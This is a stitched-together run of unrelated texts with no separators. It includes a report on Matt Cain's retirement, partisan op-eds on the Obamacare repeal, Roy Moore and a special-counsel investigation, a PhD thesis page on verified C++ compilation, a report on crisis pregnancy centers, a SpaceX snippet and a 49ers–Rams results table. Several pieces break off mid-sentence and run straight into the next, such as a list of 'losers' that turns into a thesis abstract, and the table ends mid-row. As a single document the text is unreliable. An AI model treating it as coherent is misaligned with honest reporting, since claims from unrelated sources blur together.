Cain, who turns 33 on Sunday, will be the fourth player in franchise history to play their entire career with the Giants and play at least 10 seasons. He joins Jim Davenport, Scott Garrelts and Robby Thompson. Cain said playing only for the Giants was a big factor in his decision.
"I feel like that's what makes this a little easier," he said. "I started in 2002 getting picked up by the Giants and I know that's the way I'm going to go out. I can't picture myself putting a different uniform on."
Cain was the first round pick for the Giants in 2002 and made his MLB debut in 2005. The longest-tenured Giant has 104 career wins and a 3.69 ERA. He will finish with 331 regular season starts with the Giants, second in their San Francisco history. Juan Marichal started 446 games for the San Francisco Giants.
Cain threw the only perfect game in franchise history in June of 2012 and saved his best for the biggest moments. In eight postseason starts, Cain had a 2.10 ERA. He pitched the clinching game in all three series during the 2012 title run.
Cain made three All-Star teams and finished in the top 10 of the Cy Young Award voting twice before arm injuries slowed his career. He has dealt with several ailments since winning the second of three titles, but throughout, Cain has been one of the most respected players in the clubhouse and a sounding board for waves of young pitchers.
Cain said he made the decision over the past week and told Bobby Evans, Bochy, Dave Righetti and some longtime teammates on Tuesday. When he announced on Tuesday that Cain would make one more start, Bochy said it would be a special day for the entire organization.
"With what he's done for the Giants organization, he's been here since day one with me, and I wanted him to make this start at home," Bochy said. "I'm sure it's going to be emotional for him. It's important for us and for Matt to have a start there the last homestand. Matt has been great through all of this and he has provided leadership. This is going to be a special game for him and for us."
The moment will mark the end of an era in franchise history. Cain saw it all, and he said that's what he'll remember most about his time in orange and black. Asked for his greatest moment, he pointed to the growth of the organization.
"Hey, you know what, we had some amazing seasons and won it all," he said. "Not many people get to see the bottom of the barrel and the top of the barrel. That's really special to me."The buzz hadn’t even worn off the Republican fratboys chugging beers to celebrate the House's passage of its latest Obamacare repeal before the political hangover started surfacing.
While this motley crew was drinking Bud Light before trekking to the White House to bask in President Trump’s winner’s circle, the Washington Post’s editorial page—no bastion of liberalism—trashed this flock as lying hacks.
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House Republicans “betrayed” Americans by promising they would “maintain access to health insurance for people with preexisting medical conditions, and then on Thursday press[ed] a bill through the House that would eliminate those guarantees,” the Post said.
“What a joke,” they continued, as a once-respected Republican “objects to the loss of protection, and then pretends that a paltry $8 billion over five years will fix the problem.” Paul Ryan’s leadership?
“What hypocrisy,” they said, for a vote made “before the Congressional Budget Office can tell lawmakers what it will cost or how many people will lose access to health care as it takes effect.”
The list of deplorables that can aptly be applied to the House Republicans’ effort to destroy Obamacare and give a half-trillion-dollar tax cut to the rich, the health insurance industry and drug makers in one fell swoop is long and deserved. But for millions and millions of Americans who might be on the receiving end of this nightmare—where just about everyone with health insurance is going to pay more, get less and face chaos where it need not exist—there is a slightly hopeful sign.
The Senate, where, as has been the case 60-something times since 2010 when Obamacare was first passed, now takes up repeal legislation. Those in the know say there’s no chance it will emerge as passed by the House, if it emerges at all. Only seven Republican senators tweeted reactions in the first two hours after it passed the House by a party-line 217-213 vote, including 20 GOP defections. Sometimes silence speaks louder than gloating and beer guzzling.
Senate Republican Leader Mitch McConnell just said, “Job well done.” Senate Finance Committee Chairman Orrin Hatch’s statement ended, “We must manage expectations and remain focused on the art of the doable as we move forward.” As soon as he put a link to his remarks on Twitter, he was slammed.
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“This is what you're proud of?” wrote ConcernedCitizen. “If you have #cancer, like I do, this is a death sentence,” said Victoria Brownsworth. “If you are so proud of this legislation, hold a town hall and defend it,” added Nick Pinnau. “So, where's the replacement? You're angering your constituents,” said Jinoru.
“Well. Hold my beer,” tweeted GOP consultant Rick Wilson, who said Tuesday, “A Senate source tells me they now have MAYBE 25 Rs (and shrinking).”
What Have House Republicans Wrought?
You get the idea. The House’s bill may be a legislative shipwreck headed for the Senate’s shoals, but the Washington Post’s editorial writers said this Republican crew was messing with fundamentals of the U.S. economy and sending signals that unscrupulous players in the insurance and pharmaceutical industries had little to fear from unduly profiting from the pain and suffering of sick Americans.
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“Carelessly, the bill would threaten the integrity of even employer-based health-care plans in every state,” they wrote. “Tragically, the repeal-and-replace effort is causing so much uncertainty that, even if this bill dies in the Senate, it may unravel the existing health-care system.”
How can that be? Republicans made no effort to fix the institutional barriers that caused problems with Obamacare—such as letting rural states to form interstate compacts to create larger pools that would attract more private insurers. Instead, they pursued a scorched-earth plan to deregulate the insurance industry despite protests from every medical and patient advocacy group in America that such a move would lead to higher costs and less coverage. They didn’t stop there.
They went further and used the repeal legislation to take more than $800 billion away from state-administered Medicaid programs over the next decade, which serve millions of children and provide nursing home care for the elderly—not simply offering the poor a health care safety net. They also repealed the law’s income tax surcharges on the wealthy that funded the law’s subsidies while additionally giving tax breaks to insurers and drug makers.
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As the Post noted, the Congressional Budget Office did not "score" the bill, or provide a non-partisan analysis of its costs and impacts. But many advocacy groups and Democrats did on the House floor Thursday. Their prior bill, which Ryan pulled before a vote in March, would leave 24 million people without the coverage they now have. The latest bill goes further and says states can seek waivers—the technical process it lays out—to allow insurers to reject selling policies to people with pre-existing conditions. Democrat after Democrat said there were more than 100 million Americans in this category. It’s anyone who's had a sickness worse than a common cold and everyone over age 50.
Before the House began its series of votes, members of Congress and the public were discovering other fine print in the hastily drafted legislation that included even more brazen cuts and giveaways to corporate America than they knew.
The biggest example, first reported in the Wall Street Journal, allows insurers to lessen the benefits covered in policies provided by employers to employees. These are not people covered under the Affordable Care Act, or Obamacare, at all, but who benefitted from the ACA’s minimum coverage provisions.
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“Many people who obtain health insurance through their employers—about half of the country—could be at risk of losing protections that limit out-of-pocket costs for catastrophic illnesses, due to a little-noticed provision of the House Republican health-care bill to be considered Thursday, health-policy experts say,” the WSJ report began. “Insurers in states that obtain the waivers could be freed from a regulation mandating that they cover 10 particular types of health services, among them maternity care, prescription drugs, mental health treatment and hospitalization.”
This was not the only surprising analysis that’s appeared in the past 24 hours. A New York Times report noted how the bill will take billions away from K-12 public schools that’s now used for special education, where specialists are hired to help children with developmental disabilities.
“The new law would cut Medicaid by $880 billion, or 25 percent, over 10 years and impose a 'per-capita cap' on funding for certain groups of people, such as children and the elderly—a dramatic change that would convert Medicaid from an entitlement designed to cover any costs incurred to a more limited program,” the Times reported. “School districts receive about $4 billion in Medicaid reimbursements annually.”
An economic analysis by Americans for Tax Fairness and Healthcare for America Now, both progressive coalitions, broke down how the Obamacare repeal bill was a massive giveaway to the wealthy, insurers and the drug industry at the expense of people who are now covered or would see premiums skyrocket. House Minority Leader Nancy Pelosi said the GOP’s legislation was a tax cut masquerading as health care reform, which their numbers confirmed.
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“The GOP plan will deprive 24 million Americans of healthcare coverage and drive up the cost of coverage for millions more, especially older people and people in rural America,” their summary said. “At the same time, it will create tax breaks worth about $600 billion that will mostly go to health insurance companies, prescription drug manufacturers and the wealthy.”
Their analysis gave this breakdown. The House GOP’s “winners” are:
• Tax cuts: Gives $600 billion in tax breaks, mostly to the rich and corporations; • Millionaires: Get a $50,000 tax break each year from repeal of the ACA’s taxes on the rich. A total of $275 billion in tax cuts goes mostly to the richest 2%; • 400 Richest Families: Each gets a tax cut of $7 million a year, on average; • Insurance Companies: Get $145 billion in tax breaks over 10 years; • Drug Companies: Get $25 billion in tax breaks over 10 years; • Richest 2%: Get a $117 billion tax cut by eliminating a small Medicare tax on couples with incomes above $250,000 a year.
The “losers” are:Mechanized Formal Semantics and Verified Compilation for C++ Objects
Copyright 2009, 2010, 2011 Tahina Ramananandro
I successfully defended my Ph.D. thesis on Tuesday, January 10th, 2012 at École normale supérieure.
C++ is one of the most widely used programming languages in practice, including for embedded critical software. Thus, it becomes interesting to apply formal methods to programs written in C++. To this end, it is necessary to rely on a formal semantics of C++. Moreover, such a formal semantics can be validated as a basis to the specification and proof of a verified realistic compiler for C++ to gain confidence in the implementation techniques of mainstream C++ compilers. In this thesis, we focus on the C++ object model.
We formally specify C++ multiple inheritance with C-style embedded structures, leading us to study the concrete representation of objects with empty base optimizations. We propose a set of sufficient layout conditions, and we show that they are sound with respect to field accesses and polymorphic operations. We then specify a realistic layout algorithm based on the Common Vendor ABI for Itanium, and an extension performing empty member optimizations, and we prove that they satisfy our conditions. We obtain a verified realistic compiler from a subset of C++ to a 3-address language with low-level memory accesses.
Extending our semantics with object construction and destruction, we study their intrications with multiple inheritance. This leads us to formalize resource management, namely resource acquisition is initialization through the subobject construction and destruction order. We also study the impact on polymorphic operations such as virtual function dispatch during construction and destruction, by generalizing the notion of dynamic type. We obtain a verified compiler for our extended semantics, in particular by verifying the implementation of dynamic type changes.
All our specifications and proofs are carried out with Coq.
My Ph. D work has given birth to the following publications:
A Mechanized Semantics for C++ Object Construction and Destruction, with Applications to Resource Management
By Tahina Ramananandro (Gallium, INRIA), Gabriel Dos Reis (Parasol, Texas A&M University) and Xavier Leroy (Gallium, INRIA)
POPL 2012
Tahina Ramananandro
Formal verification of C++ object construction and destruction
Talk at FLINT team seminar, Yale University, November 2011. This talk also includes a reminder of formalized object layout, and an overview of verified compilation of C++.
Formal verification of object layout for C++ multiple inheritance
See also :
By Tahina Ramananandro (Gallium, INRIA), Gabriel Dos Reis (Parasol, Texas A&M University) and Xavier Leroy (Gallium, INRIA)
POPL 2011
Tahina Ramananandro
A machine-checked formalization of object layout for C++ multiple inheritance
Talk at Parasol team seminar, Texas A&M University, February 2010. (This talk is about a preliminary version of C++ object layout formalization, which included no empty base optimizations at that time.)
See also :
This website is kindly hosted by the INRIA Gallium project-team.It may have only been President Trump and the Republican National Committee at the end of the day backing Moore with endorsements and money, but the damage was done when elected officials did not band together and pressure Moore to step down in place of another candidate. People who argued, “But they couldn’t change the ballot!” are unaware of the wide latitude courts have given parties to make changes, especially late changes.
For all the huffing and puffing about Democrats who waited until Al Franken faced the seventh accuser before they told him it was time to go. Putting aside Franken’s nonsense about retiring in “the coming weeks,” it left at least thirty Democratic Senators who said he needed to go.
Republicans, on the other hand, behaved like weasels. There was a lot of, “If the allegations are true” rhetoric. Politicians rescinded endorsements as if that means anything. “Oh hey, the Senator from North Dakota said he would no longer endorse the guy running in Alabama!” Whoop-dee-freaking-do.
It required a team effort of Republican Senators, President Trump and the Republican National Committee to all speak with one voice and say to Roy Moore, “You’re through. Step aside.” With enough pressure brought to bear on Moore, he likely would have stepped aside. But he saw the tepid reaction by Republicans. He, like Al Franken, knew an ethics investigation would probably take at least a year to complete.
Moore bided his time, and when it finally did become too late, Donald Trump and the Republican National Committee went all in for Moore. Other Republicans talked tough, but they were ready to go along if necessary.
So the question is, “Why?”
Why did they do it? It’s not the tribalism factor. The support Moore received from around the country from Trumpkins who went James Carville and called Moore’s accusers “liars” or claimed they were “manufactured” out of whole cloth indeed went the tribalism route.
For mainstream Republicans, however, it was all about math. They were ready to deal with the fallout from a Moore win to have his vote. With Jeff Flake and Bob Corker resigning and the wild-card votes of John McCain and Susan Collins hanging around, they could ill afford to have another Democrat in the chamber.
They quietly backed a guy credibly accused of trying to have sex with a 14-year-old girl when he was 32.
They didn’t have the guts to face down Roy Moore. Now Republicans will have a more difficult time advancing their agenda, and they have only themselves to blame.States Fund Pregnancy Centers That Discourage Abortion
Google "abortion Columbus" and halfway down the first page is a headline: "Your Right to Choose, Abortion in Columbus." It's for Pregnancy Decision Health Center, or PDHC, a chain of six sites in Ohio's capital whose aim is actually to guide women out of having the procedure.
Like many of the thousands of crisis pregnancy centers across the U.S., the PDHC near Ohio State University is right next door to a Planned Parenthood. There's a cozy room for private chats and a larger open space decorated in soothing colors.
"I think a lot of times women come to us because they're looking for support, they're scared," says PDHC Director of Operations Julie Moore. "If you are suspecting you may be pregnant, that can be an unsure time and you're really just looking for answers."
She says PDHC can help women sign up for food assistance or Medicaid, or refer them for addiction counseling or emergency housing. There is an Earn While You Learn program, where women can take parenting classes to get free diapers.
The center also offers free ultrasounds, something more and more places like PDHC are providing. There's no doctor here, but Moore says an off-site OB-GYN volunteers time to review the images.
At a glance, the ultrasound room looks like any other drab medical office, except for some eye-catching objects on a side table. Bright pink, detailed models depict a fetus at various stages of development, up to 20 weeks.
"Those just give an idea, an image of how far along someone is," says Moore.
Pregnancy centers have been around about as long as abortion has been legal in the U.S., but their numbers have been growing in recent years. There are believed to be several thousand across the country — far more than the number of clinics that provide abortion. They are private nonprofits, many of them religious. But even as states cut public funding for Planned Parenthood, some are funneling it to crisis pregnancy centers.
The Guttmacher Institute, an abortion rights think-tank, cites seven states with line items in their budget for alternatives to abortion. Texas gives the most — more than $5 million over two fiscal years. Ohio budgeted $250,000 in 2013, and this year abortion opponents plan to boost their request to $1 million. Ohio and nearly two dozen other states also send smaller amounts to pregnancy centers through the sale of "Choose Life" license plates.
"When I was 20, I found out I was pregnant, and I was abortion-minded just because I [was] very afraid to tell my family," says Whitney Wall.
Now 26 and married, Wall says she grew up in a Christian conservative home. She remembers that on that winter break from college she had put Planned Parenthood's number in her cellphone when a friend suggested she go to Pregnancy Decision Health Center instead for a free pregnancy test.
She walked into PDHC feeling ashamed of "my dirty little secret." But when the test came back positive, Wall says she felt a rush of relief when the women at the center were happy for her.
"I remember Rita, one of the nurses, came in and she was like, 'Oh, congratulations, Mommy-to-be!' And I just got on my knees and started bawling," she says. "And for some reason at that point it felt like maybe this wasn't just about me, maybe there's another person that I need to think about."
Wall says the center helped her work up the courage to tell her parents, drop out of college and arrange an open adoption. Her son is now 5, and they visit with each other often. She says she can't know for sure whether she would have gone ahead with an abortion had she gone to Planned Parenthood, but "I never, ever regret the decision I made."
It's a happy story. But critics point out that crisis pregnancy centers are unregulated and unlicensed. Some accuse them of offering incomplete information at best, or even coercing women with a campaign of misinformation.
"Overwhelmingly these centers were run entirely by volunteers, did not have medical staff," says Jaime Miracle, deputy director of NARAL Pro-Choice Ohio.
Miracle sent women undercover to 55 of Ohio's pregnancy centers. They found counselors who told them abortion causes breast cancer and infertility, or leads to drug abuse and depression, none of which is supported by rigorous medical research.
Miracle says when investigators asked counselors how they could keep from having a pregnancy scare again, "none offered birth control services. And overwhelmingly, if they did discuss anything, it was 'abstinence is the only way to go,'" she says.
Another NARAL investigation in Virginia secretly recorded a counselor warning that abortions increase the chance of miscarriage.
"Well they scrape it, they scrape it very deeply," she says in an audio recording that has been posted to YouTube. The counselor says the procedure leaves the uterus wall "smooth" and creates scar tissue, so that an embryo finds it "hard to stick onto that wall."
In fact, the American College of Obstetricians and Gynecologists says one abortion does not affect future pregnancies.
NARAL and other abortion rights groups also accuse crisis pregnancy centers of using delaying tactics, suggesting women come back for an ultrasound later when the baby's more developed, or telling them to wait and see if they spontaneously miscarry. The goal, says Jaime Miracle, is to push off a woman's decision until she's in her second trimester, when an abortion becomes more complicated and more expensive.
In addition to funding pregnancy centers, some states are trying to push more women to go to them. A South Dakota law mandates that women undergo consultation at one before having an abortion; courts have blocked the measure while it's being challenged.
Other states and cities have tried to regulate pregnancy centers, requiring them to provide accurate information, to state clearly whether they provide abortion or contraception or whether medical professionals are on site. But courts have blocked most of these efforts, siding with centers that say they're merely exercising free speech.
One exception is a February ruling on a San Francisco law, in which the judge said the First Amendment does not protect "false and misleading commercial speech."
"We are not here in any way to misinform women or lead them astray," says Julie Moore, of Pregnancy Decision Health Center in Columbus. She says she sees her role as empowering women.
"I literally have worked with women who have come in and said, 'I wanted to have my baby, and, you know, my stepdad told me I was too young and too dumb, and I couldn't do this,' " she says.
Pregnancy centers not only tell women yes, they can keep their baby, but they should. If Ohio's abortion opponents have their way, more taxpayer money will help drive home that message.At a moment in history when the ACLU is quickly becoming a partisan left-wing advocacy group that cares more about getting President Trump than protecting due process (see my recent op-ed in the Wall Street Journal), who is standing up for civil liberties?
The short answer is no one. Not the Democrats, who see an opportunity to reap partisan benefit from the appointment of a special counsel to investigate any ties between the Trump campaign/ administration and Russia. Not Republican elected officials who view the appointment as giving them cover. Certainly, not the media who are reveling in 24/7 “bombshells.” Not even the White House, which is too busy denying everything to focus on “legal technicalities” that may sound like “guilty man arguments.”
Legal technicalities are of course the difference between the rule of law and the iron fist of tyranny. Civil liberties protect us all. As H.L. Mencken used to say: “The trouble about fighting for human freedom is that you have to spend much of your life defending sons of bitches: for oppressive laws are always aimed at them originally, and oppression must be stopped in the beginning if it is to be stopped at all.” History demonstrates that the first casualty of hyper-partisan politics is often civil liberties.
Consider the appointment of the special counsel to investigate “any links and/or coordination between the Russian government and individuals associated with the campaign of President Trump.” Even if there were such direct links, that would not constitute a crime under current federal law. Maybe it should, but prosecutors have no right to investigate matters that should be criminal but are not.
This investigation will be conducted in secret behind closed doors; witnesses will be denied the right to have counsel present during grand jury questioning; they will have no right to offer exculpatory testimony or evidence to the grand jury; inculpatory hearsay evidence will be presented and considered by the grand jury; there will be no presumption of innocence; no requirement of proof beyond a reasonable doubt, only proof sufficient to establish the minimal standard of probable cause. The prosecutor alone will tell the jury what the law is and why they should indict; and the grand jury will do his bidding. As lawyers quip: They will indict a ham sandwich if the prosecutor tells them to. This sounds more like Star Chamber injustice than American justice.
And there is nothing in the Constitution that mandates such a kangaroo proceeding. All the Fifth Amendment says is: “no person shall be held to answer for a capital, or otherwise infamous crime, unless on a presentment or indictment of a grand jury.” The denials of due process come from prosecutorially advocated legislative actions. The Founders would be turning over in their graves if they saw what they intended as a shield to protect defendants, turned into a rusty sword designed to place the heavy thumb of the law on the prosecution side of the scale.
Advocates of the current grand jury system correctly point out that a grand jury indictment is not a conviction. The defendant has the right to a fair jury trial, with all the safeguards provided in the Constitution. But this ignores the real impact of an indictment on the defendant. Based on a one-sided indictment alone, the “ham sandwich” can be fired from his or her job or suspended from a university. Consider what happened to the Arthur Andersen company and its thousands of employees when it was indicted for obstructing an official proceeding by destroying records relating to one of its clients. Although Andersen was ultimately vindicated, the indictment itself forced it into bankruptcy, causing a loss of thousands of jobs and millions of dollars in shareholder values. Many individuals have been indicted on the basis of one-sided grand jury prosecutions and subsequently acquitted after a fair trial. Many of these individuals also suffered grievously as the result of being unfairly indicted.
Consider the consequences of an indictment by the special counsel’s grand jury in this matter. Not a conviction – just an indictment handed down by a grand jury that heard only one side in secret. It depends, of course on who the indictment named. In the Nixon case, for example, the president was named as an unindicted co-conspirator by the Watergate grand jury. This meant that he could not even defend himself at a trial. I was on the national board of the ACLU at the time. And although I despised Richard Nixon and campaigned for his opponent, I wanted the ACLU to object to the unfairness of a one-sided grand jury naming him as an unindicted co-conspirator.
So I will be standing up for civil liberties for the duration of this investigation. As a civil libertarian, I care more about due process and the rule of law than I do about politics. But many people conflate my advocacy for civil liberties with support for President Trump. I have been bombarded with tweets such as: “Alan loves Donald. He’s throwing him lifelines”; “Has he been hired by Trump? Time to come clean”; “@AlanDersh I thought you were a smart guy. After hearing you support Trumpie, guess not”; “Has Trump already hired @AlanDersh to defend him? Clearly sounds that way”; and “No matter the subject, he inserts himself in the conversation with a full-throated and nonsensical defense of Trump.”
Let me be clear: I voted for Hillary Clinton and oppose many of Donald Trump’s policies. I would be taking the same position if the shoe were on the other foot – if Clinton had been elected and she were being subjected to an unfair process. I did precisely that when she was threatened with prosecution. Remember the chants of “Lock her up!” during the campaign?
I will continue to monitor the current investigations into Trump and his associates for any violation of civil liberties. I will call them as I see them, without regard to which side benefits.SpaceX has made history. Its privately developed rocket has made it into space.
After three failed launches, the company founded by Elon Musk worked all of the bugs out of their Falcon 1 launch vehicles.
The entire spectacle was broadcast live from Kwajalein Atoll in the Pacific Ocean. Cameras mounted on the spacecraft showed our planet shrinking in the distance and the empty first stage engine falling back to Earth.
As the rocket ascended, cheers rang out during every crucial step of the launch sequence, and at the final stage their headquarters in Hawthorne, California erupted |
44,000 24–17–2 LA Sunday November 21 Los Angeles Rams 17–6 San Francisco 49ers Los Angeles Memorial Coliseum 80,050 25–17–2 LA 1972 Sunday October 8 Los Angeles Rams 31–7 San Francisco 49ers Los Angeles Memorial Coliseum 77,382 26–17–2 LA Monday December 4 San Francisco 49ers 16–26 Los Angeles Rams Candlestick Park 61,214 27–17–2 LA 1973 Sunday September 30 San Francisco 49ers 14–37 Los Angeles Rams Candlestick Park 57,487 28–17–2 LA Sunday November 18 Los Angeles Rams 31–13 San Francisco 49ers Los Angeles Memorial Coliseum 78,358 29–17–2 LA 1974 Sunday October 20 Los Angeles Rams 37–14 San Francisco 49ers Los Angeles Memorial Coliseum 74,070 30–17–2 LA Monday November 4 San Francisco 49ers 13–15 Los Angeles Rams Candlestick Park 57,502 31–17–2 LA 1975 Sunday September 28 San Francisco 49ers 14–23 Los Angeles Rams Candlestick Park 57,379 32–17–2 LA Sunday November 9 Los Angeles Rams 23–24 San Francisco 49ers Los Angeles Memorial Coliseum 74,064 32–18–2 LA 1976 Monday October 11 Los Angeles Rams 0–16 San Francisco 49ers Los Angeles Memorial Coliseum 80,532 32–19–2 LA Sunday November 21 San Francisco 49ers 3–23 Los Angeles Rams Candlestick Park 58,573 33–19–2 LA 1977 Sunday October 2 Los Angeles Rams 34–14 San Francisco 49ers Los Angeles Memorial Coliseum 55,466 34–19–2 LA Sunday November 20 San Francisco 49ers 10–23 Los Angeles Rams Candlestick Park 56,779 35–19–2 LA 1978 Sunday October 8 Los Angeles Rams 27–10 San Francisco 49ers Los Angeles Memorial Coliseum 59,337 36–19–2 LA Sunday November 19 San Francisco 49ers 28–31 Los Angeles Rams Candlestick Park 45,022 37–19–2 LA 1979 Sunday September 16 Los Angeles Rams 27–24 San Francisco 49ers Los Angeles Memorial Coliseum 44,303 38–19–2 LA Sunday November 25 San Francisco 49ers 20–26 Los Angeles Rams Candlestick Park 49,282 39–19–2 LA
1980s (49ers 13–8) [ edit ]
Year Day Date Home Team Result Visiting Team Venue Attendance Series 1980 Sunday October 5 Los Angeles Rams 48–26 San Francisco 49ers Anaheim Stadium 62,188 40–19–2 LA Sunday October 19 San Francisco 49ers 17–31 Los Angeles Rams Candlestick Park 55,306 41–19–2 LA 1981 Sunday October 25 San Francisco 49ers 20–17 Los Angeles Rams Candlestick Park 59,190 41–20–2 LA Sunday November 22 Los Angeles Rams 31–33 San Francisco 49ers Anaheim Stadium 63,456 41–21–2 LA 1982 Thursday December 2 Los Angeles Rams 24–30 San Francisco 49ers Anaheim Stadium 58,574 41–22–2 LA Sunday January 2 San Francisco 49ers 20–21 Los Angeles Rams Candlestick Park 54,256 42–22–2 LA 1983 Sunday October 9 San Francisco 49ers 7–10 Los Angeles Rams Candlestick Park 59,119 43–22–2 LA Sunday October 23 Los Angeles Rams 35–45 San Francisco 49ers Anaheim Stadium 66,070 43–23–2 LA 1984 Sunday October 28 Los Angeles Rams 0–33 San Francisco 49ers Anaheim Stadium 65,481 43–24–2 LA Friday December 14 San Francisco 49ers 19–16 Los Angeles Rams Candlestick Park 59,743 43–25–2 LA 1985 Sunday October 27 Los Angeles Rams 14–28 San Francisco 49ers Anaheim Stadium 65,939 43–26–2 LA Monday December 9 San Francisco 49ers 20–27 Los Angeles Rams Candlestick Park 60,581 44–26–2 LA 1986 Sunday September 14 Los Angeles Rams 16–13 San Francisco 49ers Anaheim Stadium 65,195 45–26–2 LA Friday December 19 San Francisco 49ers 24–14 Los Angeles Rams Candlestick Park 60,366 45–27–2 LA 1987 Sunday November 1 Los Angeles Rams 10–31 San Francisco 49ers Anaheim Stadium 55,328 45–28–2 LA Sunday December 27 San Francisco 49ers 48–0 Los Angeles Rams Candlestick Park 57,950 45–29–2 LA 1988 Sunday October 16 Los Angeles Rams 21–24 San Francisco 49ers Anaheim Stadium 65,450 45–30–2 LA Sunday December 18 San Francisco 49ers 16–38 Los Angeles Rams Candlestick Park 62,444 46–30–2 LA 1989 Sunday October 1 San Francisco 49ers 12–13 Los Angeles Rams Candlestick Park 64,250 47–30–2 LA Monday December 11 Los Angeles Rams 27–30 San Francisco 49ers Anaheim Stadium 67,959 47–31–2 LA Sunday January 14 San Francisco 49ers 30–3 Los Angeles Rams Candlestick Park 64,769 47–32–2 LA
1990s (49ers 17–3) [ edit ]
Year Day Date Home Team Result Visiting Team Venue Attendance Series 1990 Sunday November 25 San Francisco 49ers 17–28 Los Angeles Rams Candlestick Park 62,633 48–32–2 LA Monday December 17 Los Angeles Rams 10–26 San Francisco 49ers Anaheim Stadium 65,619 48–33–2 LA 1991 Sunday September 22 San Francisco 49ers 27–10 Los Angeles Rams Candlestick Park 63,871 48–34–2 LA Monday November 25 Los Angeles Rams 10–33 San Francisco 49ers Anaheim Stadium 61,881 48–35–2 LA 1992 Sunday October 4 San Francisco 49ers 27–24 Los Angeles Rams Candlestick Park 63,071 48–36–2 LA Sunday November 22 Los Angeles Rams 10–27 San Francisco 49ers Anaheim Stadium 65,858 48–37–2 LA 1993 Sunday October 31 San Francisco 49ers 40–17 Los Angeles Rams Candlestick Park 63,417 48–38–2 LA Sunday November 28 Los Angeles Rams 10–35 San Francisco 49ers Anaheim Stadium 62,143 48–39–2 LA 1994 Sunday September 18 Los Angeles Rams 19–34 San Francisco 49ers Anaheim Stadium 56,479 48–40–2 LA Sunday November 20 San Francisco 49ers 31–27 Los Angeles Rams Candlestick Park 62,774 48–41–2 LA 1995 Sunday October 22 St. Louis Rams 10–44 San Francisco 49ers Busch Memorial Stadium 59,915 48–42–2 STL Sunday November 26 San Francisco 49ers 41–13 St. Louis Rams 3Com Park 70,031 48–43–2 STL 1996 Sunday September 8 San Francisco 49ers 34–0 St. Louis Rams 3Com Park 63,624 48–44–2 STL Sunday October 6 St. Louis Rams 11–28 San Francisco 49ers Trans World Dome 61,260 48–45–2 STL 1997 Sunday September 7 St. Louis Rams 12–15 San Francisco 49ers Trans World Dome 64,630 48–46–2 STL Sunday October 12 San Francisco 49ers 30–10 St. Louis Rams 3Com Park 63,825 48–47–2 STL 1998 Sunday October 25 St. Louis Rams 10–28 San Francisco 49ers Trans World Dome 58,563 48–48–2 Sunday December 27 San Francisco 49ers 38–19 St. Louis Rams 3Com Park 68,386 49–48–2 SF 1999 Sunday October 10 St. Louis Rams 42–20 San Francisco 49ers Trans World Dome 65,872 49–49–2 Sunday November 21 San Francisco 49ers 7–23 St. Louis Rams 3Com Park 68,193 50–49–2 STL
2000s (Tied 10–10) [ edit ]
Year Day Date Home Team Result Visiting Team Venue Attendance Series 2000 Sunday September 17 St. Louis Rams 41–24 San Francisco 49ers Trans World Dome 69,945 51–49–2 STL Sunday October 29 San Francisco 49ers 24–34 St. Louis Rams 3Com Park 73,224 52–49–2 STL 2001 Sunday September 23 San Francisco 49ers 26–30 St. Louis Rams 3Com Park 67,536 53–49–2 STL Sunday December 9 St. Louis Rams 27–14 San Francisco 49ers The Dome at America's Center 66,218 54–49–2 STL 2002 Sunday October 6 San Francisco 49ers 37–13 St. Louis Rams San Francisco Stadium 67,853 54–50–2 STL Monday December 30 St. Louis Rams 31–20 San Francisco 49ers Edward Jones Dome 66,118 55–50–2 STL 2003 Sunday September 14 St. Louis Rams 27–24 OT San Francisco 49ers Edward Jones Dome 65,990 56–50–2 STL Sunday November 2 San Francisco 49ers 30–10 St. Louis Rams San Francisco Stadium 67,812 56–51–2 STL 2004 Sunday October 3 San Francisco 49ers 14–24 St. Louis Rams Monster Park 66,696 57–51–2 STL Sunday December 5 St. Louis Rams 16–6 San Francisco 49ers Edward Jones Dome 65,793 58–51–2 STL 2005 Sunday September 11 San Francisco 49ers 28–25 St. Louis Rams Monster Park 67,918 58–52–2 STL Saturday December 24 St. Louis Rams 20–24 San Francisco 49ers Edward Jones Dome 65,473 58–53–2 STL 2006 Sunday September 17 San Francisco 49ers 20–13 St. Louis Rams Monster Park 67,791 58–54–2 STL Sunday November 26 St. Louis Rams 20–17 San Francisco 49ers Edward Jones Dome 65,517 59–54–2 STL 2007 Sunday September 16 St. Louis Rams 16–17 San Francisco 49ers Edward Jones Dome 65,295 59–55–2 STL Sunday November 18 San Francisco 49ers 9–13 St. Louis Rams Monster Park 68,039 60–55–2 STL 2008 Sunday November 16 San Francisco 49ers 35–16 St. Louis Rams Candlestick Park 67,573 60–56–2 STL Sunday December 21 St. Louis Rams 16–17 San Francisco 49ers Edward Jones Dome 54,948 60–57–2 STL 2009 Sunday October 4 San Francisco 49ers 35–0 St. Louis Rams Candlestick Park 69,732 60–58–2 STL Sunday January 3 St. Louis Rams 6–28 San Francisco 49ers Edward Jones Dome 47,965 60–59–2 STL
2010s (49ers 10–7–1) [ edit ]
Year Day Date Home Team Result Visiting Team Venue Attendance Series 2010 Sunday November 14 San Francisco 49ers 23–20 OT St. Louis Rams Candlestick Park 69,732 60–60–2 Sunday December 26 St. Louis Rams 25–17 San Francisco 49ers Edward Jones Dome 52,820 61–60–2 STL 2011 Sunday December 4 San Francisco 49ers 26–0 St. Louis Rams Candlestick Park 69,732 61–61–2 Sunday January 1 St. Louis Rams 27–34 San Francisco 49ers Edward Jones Dome 55,990 62–61–2 SF 2012 Sunday November 11 San Francisco 49ers 24–24 OT St. Louis Rams Candlestick Park 69,732[6] 62–61–3 SF Sunday December 2 St. Louis Rams 16–13 OT San Francisco 49ers Edward Jones Dome 57,279[7] 62–62–3 2013 Thursday September 26 St. Louis Rams 11–35 San Francisco 49ers Edward Jones Dome 56,640 63–62–3 SF Sunday December 1 San Francisco 49ers 23–13 St. Louis Rams Candlestick Park 69,732 64–62–3 SF 2014 Monday October 13 St. Louis Rams 17–31 San Francisco 49ers Edward Jones Dome 56,851 65–62–3 SF Sunday November 2 San Francisco 49ers 10–13 St. Louis Rams Levi's Stadium 70,799 65–63–3 SF 2015 Sunday November 1 St. Louis Rams 27–6 San Francisco 49ers Edward Jones Dome 51,207 65–64–3 SF Sunday January 3 San Francisco 49ers 19–16 OT St. Louis Rams Levi's Stadium 70,799 66–64–3 SF 2016 Monday September 12 San Francisco 49ers 28–0 Los Angeles Rams Levi's Stadium 70,178 67–64–3 SF Saturday December 24 Los Angeles Rams 21–22 San Francisco 49ers Los Angeles Memorial Coliseum 83,656 68–64–3 SF 2017 Thursday September 21 San Francisco 49ers 39–41 Los Angeles Rams Levi's Stadium 70,178 68–65–3 SF Sunday December 31 Los Angeles Rams 13–34 San Francisco 49ers Los Angeles Memorial Coliseum 